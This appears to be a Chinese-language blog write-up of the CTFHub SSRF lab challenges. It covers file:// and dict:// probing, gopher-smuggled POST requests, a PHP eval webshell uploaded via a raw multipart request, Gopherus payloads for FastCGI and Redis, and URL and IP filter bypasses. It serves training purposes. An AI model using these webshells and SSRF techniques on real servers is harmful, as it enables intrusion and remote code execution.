CTFHUB-SSRF

内网访问

浏览器地址栏看到URL参数

image-20220624083243119

直接访问

image-20220624083308052

伪协议读取文件

使用file://伪协议读取位于/var/www/html路径下的flag.php

image-20220624083552292

查看页面源码

image-20220624083609969

端口扫描

端口扫描探测可以使用dict://伪协议,Burpsuite Intruder爆破,8408端口存在回显,为Apache服务

image-20220624084102053

http://协议访问8408端口

image-20220624084209319

POST请求

访问http://127.0.0.1/flag.php,得到一个输入框,查看页面源码得到Key

image-20220624100438494

image-20220624100451205

提交Key,提示来源不对

image-20220624100514086

想到主页面的url参数核gopher协议

访问http://127.0.0.1/flag.php,抓包,提交key

得到一个POST请求的数据包

image-20220624100655643

对其进行处理简化,得到如下内容:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Connection: close
Upgrade-Insecure-Requests: 1

key=9ba06f09ff834cbe08595a9d51fae8bc

访问主页,抓包,修改url参数的值为payload。含义为:使用gopher协议访问127.0.0.1的80端口,并通过POST请求向flag.php提交内容。

image-20220624100848718

对POST的内容进行2次url编码,得到如下内容,然后forward转发。

image-20220624101031666

成功得到flag

image-20220624101056803

1. 构造的POST请求数据包需要删除多余字段,最少保留:Host、Content-Type、Content-Length
2. url二次编码的原因:?

上传文件

image-20220624162232988

修改前端,加Submit按钮

image-20220624162317283

BP开启抓包,上传文件并提交,得到文件上传的POST数据包

image-20220624162350984

数据包处理,得到:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Content-Type: multipart/form-data; boundary=---------------------------36857471101661305322767988058
Content-Length: 381
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------36857471101661305322767988058
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST[1]);?>
-----------------------------36857471101661305322767988058
Content-Disposition: form-data; name="submit"

鎻愪氦鏌ヨ
-----------------------------36857471101661305322767988058--

访问首页,抓包

image-20220624162453216

使用gopher协议

image-20220624162534447

二次URL编码

image-20220624162558864

image-20220624162620206

FastCGI

gophrus生成payload,页面使用index.php

image-20220624162908938

抓包访问首页,修改url参数内容;读取到根目录下存在flag文件

image-20220624163026016

image-20220624163038785

再次生成payload得到flag

image-20220624163150363

Redis

gopherus生成payload

python2 gopherus.py --exploit redis

image-20220624110247095

抓包提交请求,页面一直加载,但是此时已经成功写入webshell

image-20220624110413464

使用file协议或者http协议可以检查

image-20220624110508747

直接访问http://XXX/shell.php,不要通过伪协议访问,用hackbar或者蚁剑利用

image-20220624110638088

image-20220624110701008

URL Bypass

image-20220624160704280

使用@绕过

image-20220624160743496

image-20220624160752000

数字IP Bypass

image-20220624160904498

进制转换绕过

image-20220624161052492

image-20220624161102192

302跳转Bypass

非预期:进制转换、localhost

image-20220624161221196

环境好像有问题

DNS Rebind

https://lock.cmpxchg8b.com/rebinder.html

image-20220624161944593

image-20220624161954632

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值